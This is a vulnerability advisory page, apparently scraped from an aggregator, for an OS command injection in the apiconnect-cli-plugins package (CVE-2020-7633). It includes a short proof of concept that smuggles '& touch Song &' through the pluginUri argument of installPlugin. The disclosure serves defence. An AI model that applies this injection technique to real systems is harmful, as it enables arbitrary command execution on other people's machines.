Lucene search
GoogleOSV:GHSA-C9M9-48PW-6MPVHistoryMay 24, 2021 - 10:18 p.m.
apiconnect-cli-plugins vulnerable to OS Command Injection
2021-05-2422:18:13
Google
osv.dev
6
apiconnect-cli-plugins
os command injection
pluginuri
file lib/plugin-loader.js
function installplugin
apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.
PoC
var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");
The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).
Related
cve
cve
CVE-2020-7633
2020-04-06 13:15:12
cvelist
cvelist
CVE-2020-7633
2020-04-06 12:24:12
veracode
veracode
OS Command Injection
2020-04-07 06:32:40
prion
prion
Command injection
2020-04-06 13:15:00
github
github
apiconnect-cli-plugins vulnerable to OS Command Injection
2021-05-24 22:18:13
nvd
nvd
CVE-2020-7633
2020-04-06 13:15:12